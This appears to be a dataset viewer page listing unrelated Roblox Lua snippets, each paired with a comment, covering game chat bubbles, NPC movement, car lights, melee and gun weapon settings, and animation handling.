,LeftPos = CFrame.new(0.85, 0.5,-2.2) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(-25)) --Client
}
return Config
|
--[[ SCRIPT VARIABLES ]]
|
local CHAT_BUBBLE_FONT = Enum.Font.GothamSemibold
local CHAT_BUBBLE_FONT_SIZE = Enum.FontSize.Size24 -- if you change CHAT_BUBBLE_FONT_SIZE_INT please change this to match
local CHAT_BUBBLE_FONT_SIZE_INT = 24 -- if you change CHAT_BUBBLE_FONT_SIZE please change this to match
local CHAT_BUBBLE_LINE_HEIGHT = CHAT_BUBBLE_FONT_SIZE_INT + 10
local CHAT_BUBBLE_TAIL_HEIGHT = 14
local CHAT_BUBBLE_WIDTH_PADDING = 30
local CHAT_BUBBLE_FADE_SPEED = 1.5
local BILLBOARD_MAX_WIDTH = 400
local BILLBOARD_MAX_HEIGHT = 250 --This limits the number of bubble chats that you see above characters
local ELIPSES = "..."
local MaxChatMessageLength = 128 -- max chat message length, including null terminator and elipses.
local MaxChatMessageLengthExclusive
if FFlagUserChatNewMessageLengthCheck2 then
MaxChatMessageLengthExclusive = MaxChatMessageLength - getMessageLength(ELIPSES) - 1
else
MaxChatMessageLengthExclusive = MaxChatMessageLength - string.len(ELIPSES) - 1
end
local NEAR_BUBBLE_DISTANCE = 65 --previously 45
local MAX_BUBBLE_DISTANCE = 100 --previously 80
|
-- Module 4
|
function NpcModule.CalculeWalk(NPC, Range, MinVector, MaxVector, Minrange)
local MinRange = 0
if Minrange == nil then
MinRange = 1.7
else
MinRange = Minrange
end
-- Calcules
local X = math.random(-(Range), Range)
local Z = math.random(-(Range), Range)
if X < (Range/MinRange) and X >= 0 then
X = Range/MinRange
elseif X > (-Range/MinRange) and X < 0 then
X = -Range/MinRange
end
if Z < (Range/MinRange) and Z >= 0 then
Z = Range/MinRange
elseif Z > (-Range/MinRange) and Z < 0 then
Z = -Range/MinRange
end
X = NPC.PrimaryPart.Position.X + X
Z = NPC.PrimaryPart.Position.Z + Z
if MinVector ~= nil or MaxVector ~= nil then
if X < MinVector.X then
X = MinVector.X
elseif X > MaxVector.X then
X = MaxVector.X
end
if Z < MinVector.Z then
Z = MinVector.Z
elseif Z > MaxVector.Z then
Z = MaxVector.Z
end
end
local Pos = Vector3.new(X, NpcModule.RayY(X,Z,NPC) , Z)
return Pos
end
|
-- Testing AC FE support
|
local event = script.Parent
local car=script.Parent.Parent
local LichtNum = 0
event.OnServerEvent:connect(function(player,data)
if data['ToggleLight'] then
if car.Body.Light.on.Value==true then
car.Body.Light.on.Value=false
else
car.Body.Light.on.Value=true
end
elseif data['EnableBrakes'] then
car.Body.Brakes.on.Value=true
elseif data['DisableBrakes'] then
car.Body.Brakes.on.Value=false
elseif data['ToggleLeftBlink'] then
if car.Body.Left.on.Value==true or car.Body.Right.on.Value==true then
car.Body.Left.on.Value=false
car.Body.Right.on.Value=false
else
car.Body.Left.on.Value=true
end
elseif data['ToggleRightBlink'] then
if car.Body.Right.on.Value==true or car.Body.Left.on.Value==true then
car.Body.Right.on.Value=false
car.Body.Left.on.Value=false
else
car.Body.Right.on.Value=true
end
elseif data['ReverseOn'] then
car.Body.Reverse.on.Value=true
elseif data['ReverseOff'] then
car.Body.Reverse.on.Value=false
elseif data['ToggleStandlicht'] then
if LichtNum == 0 then
LichtNum = 1
car.Body.Headlight.on.Value = true
elseif LichtNum == 1 then
LichtNum = 0
car.Body.Headlight.on.Value = false
end
elseif data["ToggleHazards"] then
if car.Body.Left.on.Value == true or car.Body.Right.on.Value==true then
car.Body.Left.on.Value=false
car.Body.Right.on.Value=false
else
car.Body.Left.on.Value=true
car.Body.Right.on.Value=true
end
end
end)
|
-- If an expire time was provided, this message is displayed.
-- %TIME% is replaced with a string such as "23 hours, 30 minutes"
|
local MESSAGE_BAN = "You are banned for %TIME%."
|
-- Local variables
|
local tool = script.Parent
local muzzle = tool.Muzzle
local currentAmmo -- current ammo amount in clip
local ammoLeft -- how much ammo you have left besides what's in your current clip
local remainingAmmo -- used during reloading to keep track of ammo in old clip
local canFire = true
local reloading = false
local fireSound = muzzle.FireSound
local player = players:GetPlayerFromCharacter(tool.Parent)
while not player do
tool.AncestryChanged:wait()
player = players:GetPlayerFromCharacter(tool.Parent)
end
local equipped = false
repeat wait() until player.Character
|
--Weld stuff here
|
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
end
end)
MakeWeld(misc.Wiper.Hinge,car.DriveSeat,"Motor",.1)
ModelWeld(misc.Wiper.Parts,misc.Wiper.Hinge)
MakeWeld(misc.Wiper2.Hinge,car.DriveSeat,"Motor",.1)
ModelWeld(misc.Wiper2.Parts,misc.Wiper2.Hinge)
MakeWeld(car.Misc.Wheel.A,car.DriveSeat,"Motor",.5).Name="W"
ModelWeld(car.Misc.Wheel.Parts,car.Misc.Wheel.A)
MakeWeld(car.Misc.Tach.M,car.DriveSeat,"Motor").Name="M"
ModelWeld(misc.Tach.Parts,misc.Tach.M)
MakeWeld(car.Misc.Speedo.N,car.DriveSeat,"Motor").Name="N"
ModelWeld(misc.Speedo.Parts,misc.Speedo.N)
|
-- [[ Services ]]
|
local RunService = game:GetService("RunService")
local CollectionService = game:GetService("CollectionService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Modules = ReplicatedStorage:WaitForChild("Modules")
local Thread = require(Modules.Thread)
|
-- For all easing functions:
-- b = beginning cframe
-- g = goal cframe --change == ending - beginning
-- t = elapsed time
-- d = duration (total time)
| |
--Data
|
export type SubtitleData = {
Time: number?,
Duration: number?,
Message: string,
MessageColor: Color3?,
Speaker: string?,
SpeakerModifier: string?,
SpeakerDisplayName: string?,
SpeakerColor: Color3?,
Level: string | number?,
Macro: string?,
}
export type SubtitleSpeaker = {
Color: Color3?,
DisplayName: string?,
Modifiers: {[string]: {Color: Color3?, DisplayName: string?}}?,
}
export type SubtitleDataModule = {
Speakers: {[string]: SubtitleSpeaker},
Macros: {[string]: SubtitleData},
Levels: {[string]: number},
}
|
-- local script inside the tool called Egg
|
local tool = script.Parent
local player = game.Players.LocalPlayer
local mouse = player:GetMouse()
local function onRightClick()
local weapon = game.ServerStorage.Weapon:Clone()
weapon.Parent = player.Backpack
tool:Destroy()
end
mouse.Button2Down:Connect(onRightClick)
|
--use this to determine if you want this human to be harmed or not, returns boolean
|
function checkTeams(otherHuman)
return not (sameTeam(otherHuman) and not FriendlyFire)
end
function onHandleTouched(part)
if not AttackDamaging then return end
if part:IsDescendantOf(Tool.Parent) then return end
if part.Parent and part.Parent:FindFirstChild("Humanoid") then
local human = part.Parent.Humanoid
if checkTeams(human) and not contains(AttackVictims, human) then
tagHuman(human)
table.insert(AttackVictims, human)
human:TakeDamage(AttackDamage)
end
end
end
function onProjectileTouched(part)
if part:IsDescendantOf(Tool.Parent) then return end
if part.Parent and part.Parent:FindFirstChild("Humanoid") then
local human = part.Parent.Humanoid
if checkTeams(human) and not contains(AttackProjectileVictims, human) then
tagHuman(human)
table.insert(AttackProjectileVictims, human)
human:TakeDamage(AttackDamage)
end
end
end
function onLeftHold()
Remote:FireClient(getPlayer(), "PlayAnimation", "Swing2")
delay(0.1, function()
Handle.Swing.Pitch = 0.8
Handle.Swing:Play()
delay(0.4, function()
Handle.Swing.Pitch = 1
Handle.Swing:Play()
delay(0.3, function()
Handle.Swing.Pitch = 1.2
Handle.Swing:Play()
Handle.Shot.Pitch = math.random(90, 110)/100
Handle.Shot:Play()
end)
end)
end)
wait(0.8)
local root = Tool.Parent:FindFirstChild("HumanoidRootPart")
if root then
local slash = Instance.new("Part")
slash.CanCollide = false
slash.FormFactor = "Custom"
slash.TopSurface = "Smooth"
slash.BottomSurface = "Smooth"
slash.BrickColor = BrickColor.new("Lime green")
slash.Size = Vector3.new(3, 0.2, 3)
slash.CFrame = root.CFrame * CFrame.new(0, 0, -3) * CFrame.Angles(0, 0, math.pi/2)
Instance.new("CylinderMesh", slash)
local bv = Instance.new("BodyVelocity")
bv.maxForce = Vector3.new(1e9, 1e9, 1e9)
bv.velocity = root.CFrame.lookVector * AttackProjectileSpeed
bv.Parent = slash
local spark = Instance.new("Fire")
spark.Color = slash.BrickColor.Color
spark.SecondaryColor = spark.Color
spark.Parent = slash
local light = Instance.new("PointLight")
light.Range = 16
light.Color = slash.BrickColor.Color
light.Parent = slash
slash.Parent = workspace
game:GetService("Debris"):AddItem(slash, 5)
AttackProjectileVictims = {}
local c = slash.Touched:connect(onProjectileTouched)
wait(0.5)
slash.Anchored = true
slash.Transparency = 1
c:disconnect()
spark.Enabled = false
light:Destroy()
end
end
function onLeftDown()
if not AttackAble then return end
AttackAble = false
Remote:FireClient(getPlayer(), "PlayAnimation", "Swing1")
delay(0.2, function()
Handle.Swing.Pitch = math.random(90, 110)/100
Handle.Swing:Play()
end)
delay(AttackWindupTime, function()
AttackVictims = {}
AttackDamaging = true
delay(AttackWindow, function()
AttackDamaging = false
end)
end)
LeftDown = true
local t = 0
while LeftDown do
t = t + Heartbeat:wait()
if t > AttackHoldTime then
onLeftHold()
break
end
end
delay(AttackRestTime, function()
AttackAble = true
end)
end
function onLeftUp()
LeftDown = false
end
function onRemote(player, func, ...)
if player ~= getPlayer() then return end
if func == "LeftDown" then
onLeftDown(...)
elseif func == "LeftUp" then
onLeftUp(...)
end
end
Remote.OnServerEvent:connect(onRemote)
Handle.Touched:connect(onHandleTouched)
|
-- functions
|
function stopAllAnimations()
local oldAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
oldAnim = "idle"
end
currentAnim = ""
currentAnimInstance = nil
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
return oldAnim
end
function setAnimationSpeed(speed)
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then
local repeatAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
repeatAnim = "idle"
end
local animSpeed = currentAnimSpeed
playAnimation(repeatAnim, 0.0, Humanoid)
setAnimationSpeed(animSpeed)
end
end
|
-- Remade by Truenus
|
wait(0.05)
local car = script.Parent.Parent.Car.Value
local GBrake = script.Parent.Parent.Values.Brake
function on()
car.Body.Lights.RN.BrickColor=BrickColor.New("Maroon")
car.Body.Lights.RN.Material=Enum.Material.Neon
car.Body.Lights.Light.Material=Enum.Material.Neon
car.Body.Lights.Light.Light.Enabled = true
car.Body.Lights.Light.BrickColor=BrickColor.New("Institutional white")
car.Body.Lights.RN.Light.Enabled = true
function off()
car.Body.Lights.Light.BrickColor=BrickColor.New("Dark stone grey")
car.Body.Lights.RN.Material=Enum.Material.SmoothPlastic
car.Body.Lights.RN.BrickColor=BrickColor.New("Crimson")
car.Body.Lights.Light.Light.Enabled = false
car.Body.Lights.Light.Material=Enum.Material.SmoothPlastic
car.Body.Lights.RN.Light.Enabled = false
for i,v in pairs(car.Body.Lights:GetChildren()) do
if v.Name == "Light2" then
v.Material=Enum.Material.SmoothPlastic
v.Light.Enabled = false
end
end
end
end
function on2()
for i,v in pairs(car.Body.Lights:GetChildren()) do
if v.Name == "Light2" then
v.Material=Enum.Material.Neon
v.Light.Enabled = true
for i,v in pairs(car.Body.Lights:GetChildren()) do
if v.Name == "Light" then
v.BrickColor=BrickColor.new("Dark stone grey")
v.Material = Enum.Material.SmoothPlastic
v.Light.Enabled = false
end
end
end
end
end
function auto()
if (game.Lighting:GetMinutesAfterMidnight()<0 or game.Lighting:GetMinutesAfterMidnight()>0) then
car.Body.Lights.Light.Material=Enum.Material.Neon
car.Body.Lights.Light.Light.Enabled = true
car.Body.Lights.RN.BrickColor=BrickColor.New("Bright red")
car.Body.Lights.RN.Light.Enabled = true
else
car.Body.Lights.RN.Light.Enabled = false
car.Body.Lights.RN.Material=Enum.Material.SmoothPlastic
car.Body.Lights.RN.BrickColor=BrickColor.New("Maroon")
car.Body.Lights.Light.Light.Enabled = false
car.Body.Lights.Light.Material=Enum.Material.SmoothPlastic
end
end
script.Parent.MouseButton1Click:connect(function()
if script.Parent.Text == "Lights: Auto" then
on()
script.Parent.Text = "Lights: On (1)"
elseif script.parent.Text == "Lights: On (1)" then
on2()
script.Parent.Text = "Lights: On (2)"
elseif script.Parent.Text == "Lights: On (2)" then
off()
script.Parent.Text = "Lights: Off"
elseif script.parent.Text == "Lights: Off" then
auto()
script.Parent.Text = "Lights: Auto"
end
end)
script.Parent.Parent.Values.Brake.Changed:connect(function()
for i,v in pairs(car.Body.Lights:GetChildren()) do
if v.Name=="R" then
if v.Light.Enabled then
if GBrake.Value>0 then
v.Transparency=0
v.Light.Brightness=12
v.Light.Range=15
else
v.Transparency=.3
v.Light.Brightness=8
v.Light.Range=10
end
else
v.Transparency=0
if GBrake.Value>0 then
v.BrickColor=BrickColor.new("Really red")
v.Material=Enum.Material.Neon
else
v.BrickColor=BrickColor.new("Black")
v.Material=Enum.Material.SmoothPlastic
end
end
elseif v.Name=="RR" then
if GBrake.Value>0 then
v.Material=Enum.Material.Neon
if v.Light.Enabled then
v.Transparency = 1
else
v.Transparency = 0
end
else
v.Transparency = 1
if v.Light.Enabled then
v.Material=Enum.Material.Neon
else
v.Material=Enum.Material.SmoothPlastic
end
end
end
end
end)
game.Lighting.Changed:connect(auto)
auto()
|
-- Handle remote functions/events
|
function runStarting(player)
if player.Character then
if player.Character:FindFirstChild("FastStartScript") then
player.Character.FastStartScript.Disabled = false
end
end
end
game.ReplicatedStorage.RemoteEvents.RunStarting.OnServerEvent:connect(runStarting)
local behaviourModules = {}
coroutine.wrap(function()
for _, behaviourScript in ipairs(script.Behaviours:GetChildren()) do
local success, errMessage = pcall(function()
behaviourModules[behaviourScript.Name] = require(behaviourScript)
end)
if not success then
warn("Failed to load module" ..behaviourScript.Name.. ".\n" ..errMessage)
end
end
end)()
function executeBehaviour(player, character, brickTouched, behaviourName)
if behaviourModules[behaviourName] ~= nil then
behaviourModules[behaviourName]:ExecuteBehaviour(brickTouched, character)
end
end
game.ReplicatedStorage.RemoteEvents.ExecuteBehaviour.OnServerEvent:connect(executeBehaviour)
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation)
return (not ClassInformationTable:GetClassFolder(player,"Brawler").Obtained.Value)
end
|
--EDIT BELOW----------------------------------------------------------------------
|
settings.PianoSoundRange = 85
settings.KeyAesthetics = true
settings.PianoSounds = {
"683394510",
"683394596",
"683394650",
"683394707",
"683394742",
"683394782"
}
|
--Key Function
--if(string.byte(key) == --BYTE--) then
|
function onKeyDown(key,mo)
print(key)
if (key~=nil) then
key = key:lower()
local vehicle = findPlane(game:GetService("Players").LocalPlayer)
if (vehicle==nil) then return end
plane = vehicle.Parts
local engine = vehicle.Parts.Engine
--STOP THAT SONG IN MY HEAD!!!! WHAAA!!
|
--[[
Server Module
--]]
|
local Settings = { --, not ; ? | server module!!
BulletHoleTexture = 'http://www.roblox.com/asset/?id=64291961'
,Damage = {30, 39}
,OneHanded = false --DONT USE YET
,FakeArms = true
,FakeArmTransparency = 0
,RightPos = CFrame.new(-1,0.7,0.45) * CFrame.Angles(math.rad(-90), 0, 0)
,LeftPos = CFrame.new(0.8,0.8,0.3) * CFrame.Angles(math.rad(-90), math.rad(45), 0)
}
return Settings
|
-- // WHILE LOOP
|
while true do
local Sprinting = Shadow:GetAttribute("Sprinting")
if Sprinting == false then
Debounce = false
SprintAnim:Stop()
elseif Sprinting == true then
if not Debounce then
Debounce = true
SprintAnim:Play()
end
end
task.wait()
end
|
----------------------------------------------------------------------------------------------------
-------------------=[ PROJETIL ]=-------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,Distance = 10000
,BDrop = .25
,BSpeed = 2200
,SuppressMaxDistance = 25 --- Studs
,SuppressTime = 10 --- Seconds
,BulletWhiz = true
,BWEmitter = 25
,BWMaxDistance = 200
,BulletFlare = false
,BulletFlareColor = Color3.fromRGB(255,255,255)
,Tracer = true
,TracerColor = Color3.fromRGB(255,255,255)
,TracerLightEmission = 1
,TracerLightInfluence = 0
,TracerLifeTime = .2
,TracerWidth = .1
,RandomTracer = false
,TracerEveryXShots = 0
,TracerChance = 100
,BulletLight = false
,BulletLightBrightness = 1
,BulletLightColor = Color3.fromRGB(255,255,255)
,BulletLightRange = 10
,ExplosiveHit = false
,ExPressure = 500
,ExpRadius = 25
,DestroyJointRadiusPercent = 0 --- Between 0 & 1
,ExplosionDamage = 100
,LauncherDamage = {20,40}
,LauncherRadius = 25
,LauncherPressure = 500
,LauncherDestroyJointRadiusPercent = 0
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.